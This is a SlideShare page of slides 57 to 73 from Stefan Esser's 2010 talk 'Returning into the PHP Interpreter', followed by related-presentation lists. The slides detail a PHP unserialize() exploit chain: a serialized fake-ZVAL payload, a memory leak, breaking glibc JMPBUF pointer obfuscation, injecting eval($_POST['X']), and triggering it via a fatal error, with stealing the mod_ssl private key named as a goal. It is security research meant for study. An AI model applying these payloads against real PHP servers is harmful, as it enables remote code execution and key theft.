• create another array of integer        5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:
   variables and free the array          13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:
                                         20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:
                                         27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:
• create an array which mixes our       34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;};i:0;,i:0;;i:0;,a:
   fake ZVAL strings and objects                           20:{i:100;O:8:"stdclass":0:{}i:0;S:
                                             19:"41414141000400000001010006x00BBCCC";i:101;O:
                                                                 8:"stdclass":0:{}i:1;S:
• free that array                            19:"41414141000400000001010006x00BBCCC";i:102;O:
                                                      8:"stdclass":0:{}i:2;S:19:"414141410004
• create a reference to one of the           00000001010006x00BBCCC";i:103;O:8:"stdclass":0:{}i:3;S:
                                                                  19:"414141410004
   already freed integer variables           00000001010006x00BBCCC";i:104;O:8:"stdclass":0:{}i:4;S:
                                                                  19:"414141410004
• reference will point to our already        00000001010006x00BBCCC";i:105;O:8:"stdclass":0:{}i:5;S:
                                                                  19:"414141410004
   freed fake string ZVAL                    00000001010006x00BBCCC";i:106;O:8:"stdclass":0:{}i:6;S:
                                                                  19:"414141410004
                                             00000001010006x00BBCCC";i:107;O:8:"stdclass":0:{}i:7;S:
• string pointer of fake string                                   19:"414141410004
   was overwritten by memory                 00000001010006x00BBCCC";i:108;O:8:"stdclass":0:{}i:8;S:
   cache !!!                                                      19:"414141410004
                                            00000001010006x00BBCCC";i:109;O:8:"stdclass":0:{}i:9; S:
                                                                  19:"414141410004
                                         00000001010006x00BBCCC";};i:0;,i:0;;i:1;,i:0;;m:a:2:{i:0;i:0;i:
                                                                       1;r:57;}}}}



                                     Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  57
Starting Point Leak Response


• the response will contain the leaked 1024 bytes of memory
• starting from an already freed address
• we search for freed object ZVALs in the reply

                              overwritten               object             reference
                                by free                handlers             counter
                             ⎫
                             ⎬
                             ⎭

                                                   ⎫
                                                   ⎬
                                                   ⎭
                                                                        ⎫
                                                                        ⎬
                                                                        ⎭
      32 bit object ZVAL: 41 41 41 41 20 12 34 B7 00 00 00 00 05 00




                                                                        ⎭
                                                                        ⎪
                                                                        ⎬
                                                                        ⎪
                                                                        ⎫
                                                                                   pattern
                                                                                  to search



• the object handlers address is a pointer into PHP‘s data segment
• we can leak memory at this address to get a list of pointers into the code segment



                              Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  58
Where to go from here?



• having pointers into the code segment
  and an arbitrary mem info leak we can ...

     • scan backward for the ELF / PE / ... executable header
     • remotely steal the PHP binary and all it‘s data
     • lookup any symbol in PHP binary
     • find other interesting webserver modules (and their executable headers)
     • and steal their data (e.g. mod_ssl private SSL key)
     • use gathered data for a remote code execution exploit




                             Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  59
Part VIII
Controlling Execution




                   Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  60
Taking Control (I)



• to take over control we need to
     • corrupt memory layout
     • call user supplied function pointers


• unserialize() allows to destruct and create fake variables
     • string - freeing arbitrary memory addresses
     • array - calling hashtable destructor
     • object - calling del_ref() from object handlers




                             Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  61
Taking Control (II)




• object and array variables point to tables with function pointers only
• string variables store pointer to free inline
• small freed memory blocks end up in PHP‘s memory cache
• new string variable of same size will reuse cached memory
• allows to overwrite with attacker supplied data




                           Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  62
PHP and the Linux x86 glibc JMPBUF


                • PHP uses a JMPBUF for try {} catch {} at C level

      jmpbuf
                • JMPBUF is stored on stack

       EBX
                • executor_globals point to current JMPBUF
       ESI


       EDI
                • glibc uses pointer obfuscation for ESP and EIP
       EBP
                         •     ROL 9
       ESP                                                                                 ecx
                                                                                       ),%
                                                                              (%  esp     ,%e
                                                                                               dx
                         •     XOR gs:[0x18]                              0x4       e cx)        i
                                                               mov              4(%          %ed
                                                                           0x1        ec x),
       EIP                                                      mov              0(%
                                                                            0x1         dx
                                                                                   ,%e       edx
                                                                 mov           0x9       8,%
                • obvious weakness                                ror
                                                                             $
                                                                              %gs
                                                                                   : 0x1
                                                                                      ,%e
                                                                                          di
                                                                                               edi
                                                                   xo r        $ 0x9       8,%
                                                                                     : 0x1
                                                                    ror         %gs         sp
                                                                                        ,%e
                         •     EBP not obfuscated                    x or        % edi       1
                                                                                         f29
                                                                      cmp         0 x8c        p
                                                                                           %es
                                                                       j be        $0  xc,
                                                                        sub




                 Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  63
Breaking PHP‘s JMPBUF



               • lowest 2 bits of ESP are always 0
     jmpbuf
               • allows determining lowest 2 bits of EIP
      EBX


      ESI
               • PHP‘s JMPBUF points into php_execute_script()
      EDI      • prepended by CALL                                 E8 xx xx xx xx
      EBP
               • followed by XOR + TEST                           31 xx 85 xx
      ESP


      EIP
               • we can search for EIP
               • known EIP allows determining secret XORER




                Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  64
Using Fake Strings to Overwrite JMPBUF (I)




     • search process stack from JMPBUF‘s position backward
     • there are atleast MAX_PATH bytes
     • search for pattern               XX 00 00 00                   (XX>0x0c and XX<0x8f)

     • field could be the size field of a small memory block




3   34     21    10      00   00   00   D3    A2      51      30     20      87      54     C2      BF      77      43   67   23   12




         JMPBUF - 0x43


                                             Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  65
Using Fake Strings to Overwrite JMPBUF (II)

                                                                                               memory cache

                                                                                                     NULL

                                                                                                  0x55667788


                                                                                                     NULL
     • we can create a fake string
                                                                                                     NULL
     • with string data at JMPBUF - 0x43 + 8
                                                                                                     NULL

     • and free it                                                                                   NULL




                                   MEMORY HEADER                                             STRING DATA




3   34     21    10      00   00     00    D3      A2    51      30     20      87      54     C2      BF      77      43   67   23   12




         JMPBUF - 0x43                                         FAKE STRING


                                                Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  66
Using Fake Strings to Overwrite JMPBUF (III)

                                                                                               memory cache

                                                                                                     NULL

                                                                                                FAKE STRING


     • PHP‘s allocator will put a block of size                                                      NULL

          0x10 into memory cache                                                                     NULL


     • first 4 bytes will be overwritten by                                                           NULL

          pointer to next block                                                                      NULL




                                   MEMORY HEADER                                             STRING DATA




3   34     21    10      00   00     00    D3      A2    51      30     88      77      66     55      BF      77      43   67   23   12




         JMPBUF - 0x43                                         FAKE STRING


                                                Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  67
Using Fake Strings to Overwrite JMPBUF (IV)

                                                                                               memory cache

                                                                                                     NULL

                                                                                                  0x55667788
     • creating a fake 7 byte string will reuse
          the cached memory                                                                          NULL


                                                                                                     NULL
                ‣ “x78x00x00x00XXX“
                                                                                                     NULL
     • next block pointer will be restored
                                                                                                     NULL

     • string data gets copied into stack

                                   MEMORY HEADER                                             STRING DATA




3   34     21    10      00   00     00    D3      A2    51      30     78      00      00     00      58      58      58   00   23   12




         JMPBUF - 0x43                                         FAKE STRING


                                                Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  68
Using Fake Strings to Overwrite JMPBUF (V)

                                                                                                memory cache

                                                                                                      NULL

                                                                                                   0x55667788
      • we repeat the attack with our new string data
                                                                                                      NULL

      • this time we can write 0x70 bytes                                                             NULL


      • enough to overwrite JMPBUF - 0x33 bytes away                                                  NULL


                                                                                                      NULL
      •    and putting more payload on the stack


                                    MEMORY HEADER                                                        STRING DATA ...




A2   51     30    78      00   00     00    58      58    58      00     23      12      17     55      23     A2       A1   FF   FF   FF




          JMPBUF - 0x3B                                        NEW FAKE STRING


                                                 Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  69
Using Fake Strings to Overwrite JMPBUF (VI)


• We can now setup a stack frame for zend_eval_string()
• and injected PHP code
• and the JMPBUF


       78    00    00    00    58     58      58      00     00      00      00     XX     XX      XX       XX    00


       00    00    00    XX    XX     XX     XX       00     00      00      00     00      00      00      00    00


        e    v      a     l     (      $       _      P       O       S      T       [       ‘      X        ‘     ]


        )     ;    00    00    00     00      00      00     00      00      00    EBX     EBX    EBX       EBX   ESI


       ESI   ESI   ESI   EDI   EDI    EDI    EDI     EBP    EBP     EBP     EBP    ESP     ESP     ESP      ESP   EIP


       EIP   EIP   EIP   00    D3     A2      51      30     78      00      00     00      58      58      58    00


       10    00    00    00    D3     A2      51      30     78      00      00     00      58      58      58    00



                                     Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  70
Triggering JMPBUF Execution



• PHP will pass execution to the JMPBUF on zend_bailout()
• zend_bailout() is executed for core errors and on script termination
• unserialize() can trigger a FATAL ERROR
• unserializing too big arrays will alert the MM‘s integer overflow detection
      ‣ unserialize('a:2147483647:{');

• this will result in longjmp() jumping to zend_eval_string()
• which will execute our PHP code




                              Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  71
Thank you for listening...




                   DEMO


                   Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  72
Thank you for listening...




         QUESTIONS ?


                   Stefan Esser • Returning into the PHP Interpreter •  July 2010 •  73

More Related Content

What's hot

Zabbix at scale with Elasticsearch
Zabbix at scale with ElasticsearchZabbix at scale with Elasticsearch
Zabbix at scale with Elasticsearch
Leandro Totino Pereira
 
Frans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides AhmedabadFrans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides Ahmedabad
Security BSides Ahmedabad
 
Linux performance tuning & stabilization tips (mysqlconf2010)
Linux performance tuning & stabilization tips (mysqlconf2010)Linux performance tuning & stabilization tips (mysqlconf2010)
Linux performance tuning & stabilization tips (mysqlconf2010)
Yoshinori Matsunobu
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
Avinash Thapa
 
SharePoint 2013 Client-Side Rendering (CSR) & JSLink Templates
SharePoint 2013 Client-Side Rendering (CSR) & JSLink TemplatesSharePoint 2013 Client-Side Rendering (CSR) & JSLink Templates
SharePoint 2013 Client-Side Rendering (CSR) & JSLink Templates
Muawiyah Shannak
 
Live Memory Forensics on Android devices
Live Memory Forensics on Android devicesLive Memory Forensics on Android devices
Live Memory Forensics on Android devices
Nikos Gkogkos
 
ODS ってなんだ?
ODS ってなんだ?ODS ってなんだ?
ODS ってなんだ?
Haruyuki Nakano
 
A Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility CloakA Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility Cloak
Soroush Dalili
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Soroush Dalili
 
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
Frans Rosén
 
Git - Level 2
Git - Level 2Git - Level 2
Git - Level 2
민태 김
 
分布式Key Value Store漫谈
分布式Key Value Store漫谈分布式Key Value Store漫谈
分布式Key Value Store漫谈
Tim Y
 
[제1회 루씬 한글분석기 기술세미나] solr로 나만의 검색엔진을 만들어보자
[제1회 루씬 한글분석기 기술세미나] solr로 나만의 검색엔진을 만들어보자[제1회 루씬 한글분석기 기술세미나] solr로 나만의 검색엔진을 만들어보자
[제1회 루씬 한글분석기 기술세미나] solr로 나만의 검색엔진을 만들어보자Donghyeok Kang
 
DTraceによるMySQL解析ことはじめ
DTraceによるMySQL解析ことはじめDTraceによるMySQL解析ことはじめ
DTraceによるMySQL解析ことはじめ
Mikiya Okuno
 
Die ultimative Anleitung für HCL Nomad Web Administratoren
Die ultimative Anleitung für HCL Nomad Web AdministratorenDie ultimative Anleitung für HCL Nomad Web Administratoren
Die ultimative Anleitung für HCL Nomad Web Administratoren
panagenda
 
2023 COSCUP - Whats new in PostgreSQL 16
2023 COSCUP - Whats new in PostgreSQL 162023 COSCUP - Whats new in PostgreSQL 16
2023 COSCUP - Whats new in PostgreSQL 16
José Lin
 
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
Frans Rosén
 
60 Admin Tips
60 Admin Tips60 Admin Tips
60 Admin Tips
Gabriella Davis
 

What's hot (20)

Zabbix at scale with Elasticsearch
Zabbix at scale with ElasticsearchZabbix at scale with Elasticsearch
Zabbix at scale with Elasticsearch
 
Introduction To Git
Introduction To GitIntroduction To Git
Introduction To Git
 
Frans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides AhmedabadFrans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides Ahmedabad
 
Linux performance tuning & stabilization tips (mysqlconf2010)
Linux performance tuning & stabilization tips (mysqlconf2010)Linux performance tuning & stabilization tips (mysqlconf2010)
Linux performance tuning & stabilization tips (mysqlconf2010)
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
 
SharePoint 2013 Client-Side Rendering (CSR) & JSLink Templates
SharePoint 2013 Client-Side Rendering (CSR) & JSLink TemplatesSharePoint 2013 Client-Side Rendering (CSR) & JSLink Templates
SharePoint 2013 Client-Side Rendering (CSR) & JSLink Templates
 
Live Memory Forensics on Android devices
Live Memory Forensics on Android devicesLive Memory Forensics on Android devices
Live Memory Forensics on Android devices
 
ODS ってなんだ?
ODS ってなんだ?ODS ってなんだ?
ODS ってなんだ?
 
A Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility CloakA Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility Cloak
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
 
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
 
Git - Level 2
Git - Level 2Git - Level 2
Git - Level 2
 
分布式Key Value Store漫谈
分布式Key Value Store漫谈分布式Key Value Store漫谈
分布式Key Value Store漫谈
 
[제1회 루씬 한글분석기 기술세미나] solr로 나만의 검색엔진을 만들어보자
[제1회 루씬 한글분석기 기술세미나] solr로 나만의 검색엔진을 만들어보자[제1회 루씬 한글분석기 기술세미나] solr로 나만의 검색엔진을 만들어보자
[제1회 루씬 한글분석기 기술세미나] solr로 나만의 검색엔진을 만들어보자
 
DTraceによるMySQL解析ことはじめ
DTraceによるMySQL解析ことはじめDTraceによるMySQL解析ことはじめ
DTraceによるMySQL解析ことはじめ
 
Die ultimative Anleitung für HCL Nomad Web Administratoren
Die ultimative Anleitung für HCL Nomad Web AdministratorenDie ultimative Anleitung für HCL Nomad Web Administratoren
Die ultimative Anleitung für HCL Nomad Web Administratoren
 
2023 COSCUP - Whats new in PostgreSQL 16
2023 COSCUP - Whats new in PostgreSQL 162023 COSCUP - Whats new in PostgreSQL 16
2023 COSCUP - Whats new in PostgreSQL 16
 
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
 
benthic
benthicbenthic
benthic
 
60 Admin Tips
60 Admin Tips60 Admin Tips
60 Admin Tips
 

Viewers also liked

CanSecWest 2013 - iOS 6 Exploitation 280 Days Later
CanSecWest 2013 - iOS 6 Exploitation 280 Days LaterCanSecWest 2013 - iOS 6 Exploitation 280 Days Later
CanSecWest 2013 - iOS 6 Exploitation 280 Days Later
Stefan Esser
 
SyScan 2015 Bonus Slides - death of the vmsize=0 dyld trick
SyScan 2015 Bonus Slides - death of the vmsize=0 dyld trickSyScan 2015 Bonus Slides - death of the vmsize=0 dyld trick
SyScan 2015 Bonus Slides - death of the vmsize=0 dyld trick
Stefan Esser
 
SyScan 2015 - iOS 678 Security - A Study in Fail
SyScan 2015 - iOS 678 Security - A Study in FailSyScan 2015 - iOS 678 Security - A Study in Fail
SyScan 2015 - iOS 678 Security - A Study in Fail
Stefan Esser
 
Ruxcon 2014 - Stefan Esser - iOS8 Containers, Sandboxes and Entitlements
Ruxcon 2014 - Stefan Esser - iOS8 Containers, Sandboxes and EntitlementsRuxcon 2014 - Stefan Esser - iOS8 Containers, Sandboxes and Entitlements
Ruxcon 2014 - Stefan Esser - iOS8 Containers, Sandboxes and Entitlements
Stefan Esser
 
SyScan Singapore 2011 - Stefan Esser - Targeting the iOS Kernel
SyScan Singapore 2011 - Stefan Esser - Targeting the iOS KernelSyScan Singapore 2011 - Stefan Esser - Targeting the iOS Kernel
SyScan Singapore 2011 - Stefan Esser - Targeting the iOS Kernel
Stefan Esser
 
SyScan360 - Stefan Esser - OS X El Capitan sinking the S\H/IP
SyScan360 - Stefan Esser - OS X El Capitan sinking the S\H/IPSyScan360 - Stefan Esser - OS X El Capitan sinking the S\H/IP
SyScan360 - Stefan Esser - OS X El Capitan sinking the S\H/IP
Stefan Esser
 
BlackHat USA 2011 - Stefan Esser - iOS Kernel Exploitation
BlackHat USA 2011 - Stefan Esser - iOS Kernel ExploitationBlackHat USA 2011 - Stefan Esser - iOS Kernel Exploitation
BlackHat USA 2011 - Stefan Esser - iOS Kernel Exploitation
Stefan Esser
 

Viewers also liked (7)

CanSecWest 2013 - iOS 6 Exploitation 280 Days Later
CanSecWest 2013 - iOS 6 Exploitation 280 Days LaterCanSecWest 2013 - iOS 6 Exploitation 280 Days Later
CanSecWest 2013 - iOS 6 Exploitation 280 Days Later
 
SyScan 2015 Bonus Slides - death of the vmsize=0 dyld trick
SyScan 2015 Bonus Slides - death of the vmsize=0 dyld trickSyScan 2015 Bonus Slides - death of the vmsize=0 dyld trick
SyScan 2015 Bonus Slides - death of the vmsize=0 dyld trick
 
SyScan 2015 - iOS 678 Security - A Study in Fail
SyScan 2015 - iOS 678 Security - A Study in FailSyScan 2015 - iOS 678 Security - A Study in Fail
SyScan 2015 - iOS 678 Security - A Study in Fail
 
Ruxcon 2014 - Stefan Esser - iOS8 Containers, Sandboxes and Entitlements
Ruxcon 2014 - Stefan Esser - iOS8 Containers, Sandboxes and EntitlementsRuxcon 2014 - Stefan Esser - iOS8 Containers, Sandboxes and Entitlements
Ruxcon 2014 - Stefan Esser - iOS8 Containers, Sandboxes and Entitlements
 
SyScan Singapore 2011 - Stefan Esser - Targeting the iOS Kernel
SyScan Singapore 2011 - Stefan Esser - Targeting the iOS KernelSyScan Singapore 2011 - Stefan Esser - Targeting the iOS Kernel
SyScan Singapore 2011 - Stefan Esser - Targeting the iOS Kernel
 
SyScan360 - Stefan Esser - OS X El Capitan sinking the S\H/IP
SyScan360 - Stefan Esser - OS X El Capitan sinking the S\H/IPSyScan360 - Stefan Esser - OS X El Capitan sinking the S\H/IP
SyScan360 - Stefan Esser - OS X El Capitan sinking the S\H/IP
 
BlackHat USA 2011 - Stefan Esser - iOS Kernel Exploitation
BlackHat USA 2011 - Stefan Esser - iOS Kernel ExploitationBlackHat USA 2011 - Stefan Esser - iOS Kernel Exploitation
BlackHat USA 2011 - Stefan Esser - iOS Kernel Exploitation
 

Similar to SyScan Singapore 2010 - Returning Into The PHP-Interpreter

Extending php (7), the basics
Extending php (7), the basicsExtending php (7), the basics
Extending php (7), the basics
Pierre Joye
 
The Php Life Cycle
The Php Life CycleThe Php Life Cycle
The Php Life CycleXinchen Hui
 
Php opcodes sep2008
Php opcodes sep2008Php opcodes sep2008
Php opcodes sep2008bengiuliano
 
"Развитие ветки PHP-7"
"Развитие ветки PHP-7""Развитие ветки PHP-7"
"Развитие ветки PHP-7"
Badoo Development
 
Inside PHP [OSCON 2012]
Inside PHP [OSCON 2012]Inside PHP [OSCON 2012]
Inside PHP [OSCON 2012]
Tom Lee
 
PHP7 - The New Engine for old good train
PHP7 - The New Engine for old good trainPHP7 - The New Engine for old good train
PHP7 - The New Engine for old good train
Xinchen Hui
 
Create your own PHP extension, step by step - phpDay 2012 Verona
Create your own PHP extension, step by step - phpDay 2012 VeronaCreate your own PHP extension, step by step - phpDay 2012 Verona
Create your own PHP extension, step by step - phpDay 2012 Verona
Patrick Allaert
 
Threads
ThreadsThreads
Threads
Sameer Shaik
 
C language
C languageC language
C language
Robo India
 
Something About Dynamic Linking
Something About Dynamic LinkingSomething About Dynamic Linking
Something About Dynamic Linking
Wang Hsiangkai
 
Php Extensions for Dummies
Php Extensions for DummiesPhp Extensions for Dummies
Php Extensions for DummiesElizabeth Smith
 
Bypassing DEP using ROP
Bypassing DEP using ROPBypassing DEP using ROP
Bypassing DEP using ROP
Japneet Singh
 
Php extensions
Php extensionsPhp extensions
Php extensions
Elizabeth Smith
 
Как мы сделали PHP 7 в два раза быстрее PHP 5 / Дмитрий Стогов (Zend Technolo...
Как мы сделали PHP 7 в два раза быстрее PHP 5 / Дмитрий Стогов (Zend Technolo...Как мы сделали PHP 7 в два раза быстрее PHP 5 / Дмитрий Стогов (Zend Technolo...
Как мы сделали PHP 7 в два раза быстрее PHP 5 / Дмитрий Стогов (Zend Technolo...
Ontico
 
CanSecWest 2017 - Port(al) to the iOS Core
CanSecWest 2017 - Port(al) to the iOS CoreCanSecWest 2017 - Port(al) to the iOS Core
CanSecWest 2017 - Port(al) to the iOS Core
Stefan Esser
 
Diploma ii cfpc- u-5.1 pointer, structure ,union and intro to file handling
Diploma ii  cfpc- u-5.1 pointer, structure ,union and intro to file handlingDiploma ii  cfpc- u-5.1 pointer, structure ,union and intro to file handling
Diploma ii cfpc- u-5.1 pointer, structure ,union and intro to file handling
Rai University
 
Mca 1 pic u-5 pointer, structure ,union and intro to file handling
Mca 1 pic u-5 pointer, structure ,union and intro to file handlingMca 1 pic u-5 pointer, structure ,union and intro to file handling
Mca 1 pic u-5 pointer, structure ,union and intro to file handling
Rai University
 
Bsc cs 1 pic u-5 pointer, structure ,union and intro to file handling
Bsc cs 1 pic u-5 pointer, structure ,union and intro to file handlingBsc cs 1 pic u-5 pointer, structure ,union and intro to file handling
Bsc cs 1 pic u-5 pointer, structure ,union and intro to file handling
Rai University
 
pointer, structure ,union and intro to file handling
pointer, structure ,union and intro to file handlingpointer, structure ,union and intro to file handling
pointer, structure ,union and intro to file handling
Rai University
 
Btech 1 pic u-5 pointer, structure ,union and intro to file handling
Btech 1 pic u-5 pointer, structure ,union and intro to file handlingBtech 1 pic u-5 pointer, structure ,union and intro to file handling
Btech 1 pic u-5 pointer, structure ,union and intro to file handling
Rai University
 

Similar to SyScan Singapore 2010 - Returning Into The PHP-Interpreter (20)

Extending php (7), the basics
Extending php (7), the basicsExtending php (7), the basics
Extending php (7), the basics
 
The Php Life Cycle
The Php Life CycleThe Php Life Cycle
The Php Life Cycle
 
Php opcodes sep2008
Php opcodes sep2008Php opcodes sep2008
Php opcodes sep2008
 
"Развитие ветки PHP-7"
"Развитие ветки PHP-7""Развитие ветки PHP-7"
"Развитие ветки PHP-7"
 
Inside PHP [OSCON 2012]
Inside PHP [OSCON 2012]Inside PHP [OSCON 2012]
Inside PHP [OSCON 2012]
 
PHP7 - The New Engine for old good train
PHP7 - The New Engine for old good trainPHP7 - The New Engine for old good train
PHP7 - The New Engine for old good train
 
Create your own PHP extension, step by step - phpDay 2012 Verona
Create your own PHP extension, step by step - phpDay 2012 VeronaCreate your own PHP extension, step by step - phpDay 2012 Verona
Create your own PHP extension, step by step - phpDay 2012 Verona
 
Threads
ThreadsThreads
Threads
 
C language
C languageC language
C language
 
Something About Dynamic Linking
Something About Dynamic LinkingSomething About Dynamic Linking
Something About Dynamic Linking
 
Php Extensions for Dummies
Php Extensions for DummiesPhp Extensions for Dummies
Php Extensions for Dummies
 
Bypassing DEP using ROP
Bypassing DEP using ROPBypassing DEP using ROP
Bypassing DEP using ROP
 
Php extensions
Php extensionsPhp extensions
Php extensions
 
Как мы сделали PHP 7 в два раза быстрее PHP 5 / Дмитрий Стогов (Zend Technolo...
Как мы сделали PHP 7 в два раза быстрее PHP 5 / Дмитрий Стогов (Zend Technolo...Как мы сделали PHP 7 в два раза быстрее PHP 5 / Дмитрий Стогов (Zend Technolo...
Как мы сделали PHP 7 в два раза быстрее PHP 5 / Дмитрий Стогов (Zend Technolo...
 
CanSecWest 2017 - Port(al) to the iOS Core
CanSecWest 2017 - Port(al) to the iOS CoreCanSecWest 2017 - Port(al) to the iOS Core
CanSecWest 2017 - Port(al) to the iOS Core
 
Diploma ii cfpc- u-5.1 pointer, structure ,union and intro to file handling
Diploma ii  cfpc- u-5.1 pointer, structure ,union and intro to file handlingDiploma ii  cfpc- u-5.1 pointer, structure ,union and intro to file handling
Diploma ii cfpc- u-5.1 pointer, structure ,union and intro to file handling
 
Mca 1 pic u-5 pointer, structure ,union and intro to file handling
Mca 1 pic u-5 pointer, structure ,union and intro to file handlingMca 1 pic u-5 pointer, structure ,union and intro to file handling
Mca 1 pic u-5 pointer, structure ,union and intro to file handling
 
Bsc cs 1 pic u-5 pointer, structure ,union and intro to file handling
Bsc cs 1 pic u-5 pointer, structure ,union and intro to file handlingBsc cs 1 pic u-5 pointer, structure ,union and intro to file handling
Bsc cs 1 pic u-5 pointer, structure ,union and intro to file handling
 
pointer, structure ,union and intro to file handling
pointer, structure ,union and intro to file handlingpointer, structure ,union and intro to file handling
pointer, structure ,union and intro to file handling
 
Btech 1 pic u-5 pointer, structure ,union and intro to file handling
Btech 1 pic u-5 pointer, structure ,union and intro to file handlingBtech 1 pic u-5 pointer, structure ,union and intro to file handling
Btech 1 pic u-5 pointer, structure ,union and intro to file handling
 

Recently uploaded

Smart TV Buyer Insights Survey 2024 by 91mobiles.pdf
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdfSmart TV Buyer Insights Survey 2024 by 91mobiles.pdf
Smart TV Buyer Insights Survey 2024 by 91mobiles.pdf
91mobiles
 
Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !
KatiaHIMEUR1
 
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdfObservability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Paige Cruz
 
PCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase TeamPCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase Team
ControlCase
 
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdfFIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance
 
Pushing the limits of ePRTC: 100ns holdover for 100 days
Pushing the limits of ePRTC: 100ns holdover for 100 daysPushing the limits of ePRTC: 100ns holdover for 100 days
Pushing the limits of ePRTC: 100ns holdover for 100 days
Adtran
 
SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdfSAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
Peter Spielvogel
 
Elevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object CalisthenicsElevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object Calisthenics
Dorra BARTAGUIZ
 
Free Complete Python - A step towards Data Science
Free Complete Python - A step towards Data ScienceFree Complete Python - A step towards Data Science
Free Complete Python - A step towards Data Science
RinaMondal9
 
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
James Anderson
 
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdfFIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance
 
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
Sri Ambati
 
Leading Change strategies and insights for effective change management pdf 1.pdf
